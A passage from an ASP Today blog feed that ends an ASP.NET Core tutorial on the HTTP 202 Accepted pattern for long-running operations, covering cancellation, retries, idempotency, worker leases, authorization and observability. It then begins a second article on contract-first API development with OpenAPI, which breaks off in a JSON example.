Finalize metadata</code></code></pre><p>The first stage might take five seconds.</p><p>The third might take two minutes.</p><p>Treating each stage as an equal percentage produces misleading progress.</p><p>For unpredictable workflows, consider reporting stages instead:</p><pre><code><code>{
  "status": "running",
  "stage": "generating_document",
  "message": "Generating report document"
}</code></code></pre><p>If you expose percentages, define what they measure and avoid implying precision that the system cannot provide.</p><h2>Cancellation Requires Its Own Workflow</h2><p>Long-running operations often need cancellation.</p><p>Suppose a customer starts a large export and realizes they selected the wrong date range.</p><p>The API might expose:</p><pre><code><code>POST /api/operations/8f42a1/cancel</code></code></pre><p>The server records a cancellation request.</p><p>A worker periodically checks whether cancellation has been requested and stops at a safe point.</p><p>This is usually better than assuming the HTTP request that submits cancellation can immediately terminate the operation.</p><p>Cancellation is often cooperative.</p><p>A worker may be executing a database query, uploading a file, or interacting with an external service.</p><p>Some actions cannot be interrupted safely.</p><p>A useful lifecycle may therefore include:</p><pre><code><code>Running
   &#8595;
CancellationRequested
   &#8595;
Cancelled</code></code></pre><p>The client should understand that requesting cancellation does not guarantee immediate termination.</p><h2>Cancellation Tokens Are Not Enough</h2><p>In ASP.NET Core, <code>HttpContext.RequestAborted</code> represents cancellation associated with the HTTP request.</p><p>It is useful for ordinary request-scoped work.</p><p>But it should not control the lifetime of an accepted background operation.</p><p>After the API returns HTTP 202, the original request is finished.</p><p>The background job must have its own cancellation mechanism.</p><p>That may involve a cancellation flag stored in the database, a worker-specific cancellation token, or a cancellation command delivered through the job infrastructure.</p><p>The cancellation state must survive restarts if the operation itself is durable.</p><h2>Retries Are Essential for Reliable Processing</h2><p>Long-running operations often depend on systems that can fail temporarily.</p><p>A report worker may encounter a database timeout.</p><p>A cloud storage upload may fail.</p><p>A downstream API may return HTTP 503.</p><p>A message broker connection may be interrupted.</p><p>Some failures should be retried.</p><p>Others should not.</p><p>For example, a temporary network error may be retriable.</p><p>An invalid report request may be a permanent failure.</p><p>A robust worker distinguishes between transient and permanent errors.</p><p>A typical retry policy might use exponential backoff:</p><pre><code><code>Attempt 1: immediately
Attempt 2: after 5 seconds
Attempt 3: after 15 seconds
Attempt 4: after 45 seconds</code></code></pre><p>The retry policy should have limits.</p><p>Without them, one permanently failing operation can consume resources indefinitely.</p><h2>Prevent Retry Storms</h2><p>Retries can make an overloaded system worse.</p><p>Imagine a downstream reporting service becomes slow.</p><p>Hundreds of jobs time out.</p><p>Every worker retries immediately.</p><p>The service now receives more traffic than before.</p><p>More jobs fail.</p><p>More retries begin.</p><p>This creates a retry storm.</p><p>The backpressure principles from our earlier ASP Today article, Designing Backpressure in ASP.NET Core, apply directly here.</p><p>Use bounded concurrency, retry delays, jitter, queue limits, and load shedding where appropriate.</p><p>Retries should help the system recover, not amplify an outage.</p><h2>Idempotency Prevents Duplicate Work</h2><p>Consider a mobile application submitting:</p><pre><code><code>POST /api/reports</code></code></pre><p>The server accepts the request and stores the operation.</p><p>But the network connection fails before the client receives the HTTP 202 response.</p><p>The client does not know whether the request succeeded.</p><p>It retries.</p><p>Without protection, the API may create two identical report jobs.</p><p>For expensive operations, this wastes resources.</p><p>For financial or externally visible operations, duplicates can cause serious problems.</p><p>An idempotency key helps identify repeated submissions of the same logical request.</p><p>For example:</p><pre><code><code>POST /api/reports
Idempotency-Key: report-2026-10-customer-125</code></code></pre><p>The server stores the key together with the accepted operation.</p><p>If the same authorized client submits the same logical request again using that key, the server returns the existing operation rather than creating a duplicate.</p><h2>Implementing Idempotency Correctly</h2><p>Idempotency requires more than checking whether a key exists.</p><p>The server should associate the key with the caller or tenant, record a fingerprint of the request, and enforce uniqueness transactionally.</p><p>Otherwise, two concurrent requests may both pass a preliminary existence check and create duplicate jobs.</p><p>The API should also reject attempts to reuse the same key for a materially different request.</p><p>For example:</p><pre><code><code>Same key + same request
        &#8595;
Return existing operation

Same key + different request
        &#8595;
Return conflict</code></code></pre><p>A database unique constraint is often part of the implementation.</p><p>The retention period for idempotency keys must also be documented.</p><p>Idempotency at submission time prevents duplicate accepted operations.</p><p>Worker-level idempotency is still necessary because message delivery and job execution may occur more than once.</p><h2>Exactly-Once Execution Is Harder Than It Sounds</h2><p>Suppose a worker successfully uploads a report.</p><p>Immediately afterward, the process crashes before marking the operation completed.</p><p>When the worker restarts, the operation still appears unfinished.</p><p>It may retry the upload.</p><p>Now the report exists twice.</p><p>This is why durable systems should assume that operations can be retried after partial completion.</p><p>A useful design makes side effects idempotent.</p><p>For example, store a report under a deterministic object key derived from the operation ID.</p><p>If the worker retries, it can detect that the expected artifact already exists and verify whether it is complete.</p><p>The same principle applies to database updates, external API calls, and event publishing.</p><p>The goal is not to assume execution happens exactly once.</p><p>It is to make repeated execution safe.</p><h2>Worker Ownership and Leases</h2><p>When several workers process jobs concurrently, they must avoid claiming the same operation simultaneously.</p><p>A common solution uses a lease.</p><p>A worker claims an eligible job for a limited period.</p><p>The operation record includes information such as:</p><pre><code><code>LeaseOwner
LeaseExpiresAt
AttemptCount</code></code></pre><p>The worker periodically renews the lease while processing.</p><p>If the worker crashes, the lease eventually expires.</p><p>Another worker can reclaim the operation.</p><p>This supports recovery without permanently locking work to a failed process.</p><p>However, lease expiration introduces another risk.</p><p>A slow worker may continue running after its lease expires, while another worker begins processing the same operation.</p><p>Production designs should use conditional state updates, ownership tokens or fencing mechanisms, and idempotent side effects to protect against stale workers.</p><h2>Handling Worker Crashes</h2><p>Imagine a report worker crashes halfway through generating a file.</p><p>A reliable system needs to answer several questions.</p><p>Was the operation durably recorded?</p><p>Can another worker identify it as unfinished?</p><p>Is the partial output safe to discard or resume?</p><p>Will retrying cause duplicate side effects?</p><p>How many attempts have already occurred?</p><p>Should the operation eventually move to a permanent failed state?</p><p>These are not edge cases.</p><p>They are normal concerns in any system where work continues independently of the HTTP request.</p><p>A background-processing architecture is production-ready only when it can recover from interruption.</p><h2>Graceful Shutdown Protects In-Flight Work</h2><p>ASP.NET Core applications may restart during deployments, scaling events, or infrastructure maintenance.</p><p>A background worker should respond to shutdown signals and stop claiming new jobs.</p><p>Where practical, it should finish its current work within the allowed shutdown window.</p><p>If it cannot finish, the job must remain recoverable.</p><p>This connects to our earlier article on Graceful Shutdown and Application Lifecycle in ASP.NET Core.</p><p>Graceful shutdown reduces avoidable interruptions, but it is not a durability guarantee.</p><p>A server can crash without receiving a shutdown signal.</p><p>Durable job state, leases, and idempotency remain necessary.</p><h2>Separating API Servers From Workers</h2><p>A small application can host both HTTP endpoints and background workers in the same ASP.NET Core process.</p><p>That is a reasonable starting point.</p><p>As workloads grow, however, long-running jobs may compete with HTTP requests for CPU, memory, database connections, and other resources.</p><p>For example, generating large PDFs may consume significant CPU and memory.</p><p>If the same process also serves customer-facing requests, report generation can increase API latency.</p><p>A common scaling strategy separates the API and worker processes.</p><pre><code><code>Clients
   &#8595;
ASP.NET Core API instances
   &#8595;
Durable job store / broker
   &#8595;
Background worker instances
   &#8595;
Database / object storage</code></code></pre><p>This allows independent scaling.</p><p>The API tier can scale based on request traffic.</p><p>The worker tier can scale based on queue depth, processing latency, or resource consumption.</p><h2>Backpressure Still Applies at the API Boundary</h2><p>An asynchronous API can return HTTP 202 quickly, but that does not mean it has unlimited capacity.</p><p>Imagine the system accepts 100,000 report requests per minute.</p><p>Workers can complete only 10,000 per minute.</p><p>The backlog grows continuously.</p><p>Returning 202 for every request merely moves the overload from HTTP connections into the job queue.</p><p>A reliable API needs admission control.</p><p>It may limit the number of outstanding operations per customer, enforce queue-capacity thresholds, or reject new work temporarily.</p><p>For example:</p><pre><code><code>HTTP/1.1 503 Service Unavailable
Retry-After: 60</code></code></pre><p>Or, for a documented per-client quota:</p><pre><code><code>HTTP/1.1 429 Too Many Requests
Retry-After: 60</code></code></pre><p>The API should return 202 only after the work has been durably accepted.</p><p>If the system cannot accept responsibility for the operation, it should not pretend otherwise.</p><h2>Securing Long-Running Operations</h2><p>Operation identifiers should not act as authorization tokens.</p><p>A user who knows another customer&#8217;s operation ID must not be able to retrieve its status, result, or error details.</p><p>Every status, cancellation, and download endpoint should enforce appropriate authorization.</p><p>For a multi-tenant application, operation records should include tenant ownership.</p><p>A status query might conceptually require:</p><pre><code><code>OperationId = requested ID
AND
TenantId = authenticated tenant</code></code></pre><p>Result URLs also require care.</p><p>A generated report may contain sensitive financial information.</p><p>Use authenticated download endpoints or appropriately scoped, short-lived signed URLs.</p><p>Avoid exposing internal exception details through public operation-status responses.</p><p>The public API can return a safe error code and message while the server retains detailed diagnostics.</p><h2>Operation Expiration and Data Retention</h2><p>Completed operations should not remain in the database forever.</p><p>Imagine processing millions of jobs each month.</p><p>Even small status records eventually become a significant storage and indexing concern.</p><p>Define retention policies for completed, failed, and cancelled operations.</p><p>For example, an application may retain operation metadata for a specified period and store generated reports under a separate lifecycle policy.</p><p>The exact duration depends on business, compliance, and recovery requirements.</p><p>Clients must know what happens after an operation expires.</p><p>A status endpoint may return HTTP 404 if the resource is no longer available, or HTTP 410 Gone when the API deliberately communicates that the resource previously existed but has been removed.</p><p>Whichever policy you choose, document it.</p><h2>Observability for Asynchronous Workflows</h2><p>Traditional request monitoring is not enough for long-running APIs.</p><p>The initial HTTP request may finish in 30 milliseconds.</p><p>The background job may take 15 minutes.</p><p>If monitoring tracks only HTTP response time, the API appears extremely fast even when users wait a long time for results.</p><p>Measure the entire workflow.</p><p>Important metrics include:</p><ul><li><p>Time from request acceptance to worker start</p></li><li><p>Time spent processing</p></li><li><p>Total time from acceptance to completion</p></li><li><p>Queue depth and oldest queued job age</p></li><li><p>Completion, failure, cancellation, and retry rates</p></li><li><p>Lease expiration and recovery counts</p></li></ul><p>The distinction between queue time and processing time is especially useful.</p><p>A job may require only 20 seconds of actual work but wait 10 minutes before a worker becomes available.</p><p>Optimizing the job&#8217;s code will not solve that queueing problem.</p><h2>Correlating HTTP Requests With Background Jobs</h2><p>Distributed tracing becomes more challenging when work crosses an asynchronous boundary.</p><p>The initial request creates an operation.</p><p>A worker may process it several minutes later, possibly on another server.</p><p>The system should preserve correlation information such as the operation ID, trace context, tenant identifier, and job type.</p><p>For example:</p><pre><code><code>HTTP request
    &#8595;
OperationId: 8f42a1
    &#8595;
Database record
    &#8595;
Broker message
    &#8595;
Worker execution
    &#8595;
Report upload
    &#8595;
Completion record</code></code></pre><p>Logs, metrics, and traces should make it possible to follow this sequence.</p><p>In OpenTelemetry, asynchronous producer and consumer spans can be connected through propagated trace context or span links, depending on the processing model.</p><p>This gives operators a way to investigate why an accepted operation is still unfinished.</p><h2>Testing the 202 Accepted Workflow</h2><p>A long-running API requires more than endpoint unit tests.</p><p>Start with the HTTP contract.</p><p>Submit a valid request.</p><p>Verify that the API returns 202.</p><p>Verify that the response includes a usable operation-status URL.</p><p>Verify that the operation exists in durable storage.</p><p>Next, test status transitions.</p><p>A newly accepted operation should appear as queued.</p><p>A claimed operation should appear as running.</p><p>A successfully completed operation should expose its result.</p><p>A failed operation should expose a safe, documented failure response.</p><p>Then test recovery.</p><p>Restart the worker during processing.</p><p>Verify that the job becomes eligible for recovery.</p><p>Submit the same request with the same idempotency key.</p><p>Verify that only one logical operation is created.</p><p>Attempt to retrieve another tenant&#8217;s operation.</p><p>Verify that authorization prevents access.</p><p>These tests are essential because the most serious failures occur between stages, not necessarily inside the endpoint itself.</p><h2>Testing Failure Scenarios</h2><p>Happy-path testing is not enough.</p><p>A useful test suite deliberately introduces failures.</p><p>For example, make the database temporarily unavailable.</p><p>Disconnect the message broker.</p><p>Terminate a worker while it holds a lease.</p><p>Make an object-storage upload fail after partial progress.</p><p>Force a retry after a successful external side effect but before the operation is marked completed.</p><p>Simulate a client disconnecting immediately after submitting the request.</p><p>Each scenario tests a different reliability guarantee.</p><p>The key question is whether the system can recover without losing accepted work or creating unsafe duplicate effects.</p><h2>Performance Testing Asynchronous APIs</h2><p>In our previous guide on Benchmarking ASP.NET Core Applications, we explored why performance must be measured across the complete system.</p><p>Asynchronous APIs introduce additional measurements.</p><p>The initial HTTP request may be fast because it only validates and stores work.</p><p>But overall user experience depends on the time until the operation completes.</p><p>Consider:</p><pre><code><code>HTTP acceptance latency:      40 ms
Queue wait time:              90 sec
Processing time:              20 sec
Total completion time:       110 sec</code></code></pre><p>Improving acceptance latency from 40 milliseconds to 20 milliseconds will barely change the user&#8217;s experience.</p><p>Reducing queue wait time from 90 seconds to 10 seconds will make a dramatic difference.</p><p>For long-running workflows, measure end-to-end completion latency, not only HTTP request latency.</p><h2>When Should You Use the 202 Accepted Pattern?</h2><p>The 202 Accepted pattern is especially appropriate when an operation takes longer than a typical interactive request, requires durable processing, can continue independently of the client, or produces a result that can be retrieved later.</p><p>Examples include financial report generation, large data imports, bulk email preparation, media transcoding, document conversion, complex analytics, and background reconciliation.</p><p>It is less useful for operations that complete quickly and predictably.</p><p>A simple database lookup should not become a queued job merely because asynchronous processing sounds modern.</p><p>Every background workflow introduces additional infrastructure, state management, monitoring, and failure handling.</p><p>Use the pattern when those costs solve a real problem.</p><h2>A Production-Ready Architecture</h2><p>Let&#8217;s bring the pieces together.</p><p>A mature long-running API can use the following architecture: </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GDLK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GDLK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 424w, https://substackcdn.com/image/fetch/$s_!GDLK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 848w, https://substackcdn.com/image/fetch/$s_!GDLK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 1272w, https://substackcdn.com/image/fetch/$s_!GDLK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!GDLK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg" width="1456" height="1692" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1692,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2705,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/svg+xml&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/221265466?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GDLK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 424w, https://substackcdn.com/image/fetch/$s_!GDLK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 848w, https://substackcdn.com/image/fetch/$s_!GDLK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 1272w, https://substackcdn.com/image/fetch/$s_!GDLK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5b6c227-851c-41d4-b8de-f3eaf505cfee_340x395.svg 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p><em>A durable, recoverable asynchronous processing workflow. The broker is optional when workers claim jobs directly from the database.</em></p><p>The API accepts responsibility for a job only after it has been durably recorded.</p><p>The broker distributes work when needed.</p><p>Workers process jobs independently.</p><p>Operation state is persisted.</p><p>Clients can check progress without maintaining an open connection.</p><p>Retries and leases support recovery.</p><p>Idempotency protects against duplicate execution.</p><p>Authorization protects operation details and results.</p><p>Observability makes the workflow understandable in production.</p><p>This architecture is more complex than a synchronous endpoint, but that complexity serves a clear purpose: making long-running work reliable.</p><h2>Common Mistakes to Avoid</h2><p>The most common mistake is assuming that using <code>async</code> and <code>await</code> automatically creates an asynchronous API workflow. It does not. The HTTP request still waits unless the API explicitly separates acceptance from completion.</p><p>Another mistake is returning HTTP 202 before the job has been durably stored. If the process crashes, the operation may disappear.</p><p>Some developers launch untracked <code>Task.Run</code> work directly from endpoints. This makes failure handling, shutdown, and recovery difficult.</p><p>Others use in-memory queues for business-critical operations without considering restarts.</p><p>Polling too frequently can overwhelm the status endpoint.</p><p>Missing idempotency allows duplicate submissions.</p><p>Missing worker ownership can lead to concurrent processing of the same job.</p><p>Unbounded retries can amplify outages.</p><p>Finally, some systems monitor only HTTP acceptance latency and ignore how long users actually wait for completed results.</p><p>A reliable asynchronous API must address the entire operation lifecycle.</p><h2>Coming Next</h2><p>In our next article, we&#8217;ll explore Server-Sent Events in ASP.NET Core: Building Lightweight Real-Time Data Streams.</p><p>The 202 Accepted pattern gives clients a reliable way to submit long-running work and check its progress.</p><p>But polling is not always the most efficient way to deliver updates.</p><p>Server-Sent Events provide a lightweight mechanism for streaming one-way updates from an ASP.NET Core server to connected clients.</p><p>We&#8217;ll explore event streams, reconnection, event identifiers, cancellation, connection management, and the situations where SSE is a better choice than polling or WebSockets.</p><h2>Final Thoughts</h2><p>Long-running operations expose an important limitation of ordinary request-response APIs.</p><p>Not every useful operation can finish while a client waits.</p><p>Trying to force every task into a single HTTP request creates unnecessary timeouts, fragile connections, and difficult recovery scenarios.</p><p>The HTTP 202 Accepted pattern offers a cleaner alternative.</p><p>The API accepts the request, records the work, and returns an operation identifier.</p><p>Background workers perform the processing.</p><p>Clients retrieve status and results independently.</p><p>Durable storage protects accepted work.</p><p>Retries, leases, and idempotency make failures recoverable.</p><p>Backpressure prevents unlimited queue growth.</p><p>Observability connects the initial request with the eventual outcome.</p><p>The result is an API that can handle complex work without requiring clients to remain connected throughout the process.</p><p>A reliable asynchronous API does not promise that work is already complete. It promises that accepted work can be tracked, processed, and recovered responsibly.</p><p>That is what turns HTTP 202 Accepted from a simple status code into a production-ready application pattern.</p><h2>Subscribe Now</h2><p>Enjoying the series? <em><a href="https://www.asptoday.com/">Subscribe to ASP Today</a></em> for practical ASP.NET Core tutorials, production architecture deep dives, and advanced API engineering strategies. Join our Substack Chat to discuss long-running operations, HTTP 202 Accepted, background workers, durable queues, idempotency, and building reliable asynchronous APIs for modern .NET applications. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Contract-First API Development in ASP.NET Core: OpenAPI, Client Generation, and Schema Governance]]></title><description><![CDATA[Build reliable APIs with OpenAPI, generated clients, and schema governance. #ASPToday #aspnetcore #dotnet #openapi]]></description><link>https://www.asptoday.com/p/contract-first-api-development-in</link><guid isPermaLink="false">https://www.asptoday.com/p/contract-first-api-development-in</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 13 Oct 2026 15:03:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!uzqR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>An API is more than a collection of endpoints. It is an agreement between the applications that produce data and the applications that consume it. When that agreement changes unexpectedly, mobile apps fail, frontend integrations break, and independent development teams lose confidence in the services they depend on. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uzqR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uzqR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!uzqR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!uzqR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!uzqR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uzqR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2147008,&quot;alt&quot;:&quot;Developers review an OpenAPI contract connecting generated clients, API endpoints, and schema governance. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/219523950?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Developers review an OpenAPI contract connecting generated clients, API endpoints, and schema governance. " title="Developers review an OpenAPI contract connecting generated clients, API endpoints, and schema governance. " srcset="https://substackcdn.com/image/fetch/$s_!uzqR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!uzqR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!uzqR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!uzqR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcec5282f-f603-4c7d-97ff-601d75b6309a_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Contract-first API development solves this problem by defining the API&#8217;s structure and behavior before implementing its endpoints. With <em><a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a></em>, OpenAPI, generated clients, automated contract checks, and schema governance, teams can build APIs that evolve predictably without forcing every consumer to change at the same time.</p><h2>Why API Contracts Become Important as Systems Grow</h2><p>Imagine a development team building an online shopping platform.</p><p>The backend team maintains an ASP.NET Core API. A separate team develops the website. Another team builds the mobile application. Several external partners use the same API to retrieve product information and submit orders.</p><p>Initially, coordination is simple.</p><p>A backend developer creates an endpoint:</p><pre><code><code>GET /api/products/42</code></code></pre><p>It returns:</p><pre><code><code>{
  "id": 42,
  "name": "Wireless Headphones",
  "price": 89.99
}</code></code></pre><p>The frontend team integrates the response, and everything works.</p><p>Three months later, a backend developer decides that <code>price</code> is too vague. The application now supports multiple currencies, so the response changes:</p><pre><code><code>{
  "id": 42,
  "name": "Wireless Headphones",
  "pricing": {
    "amount": 89.99,
    "currency": "USD"
  }
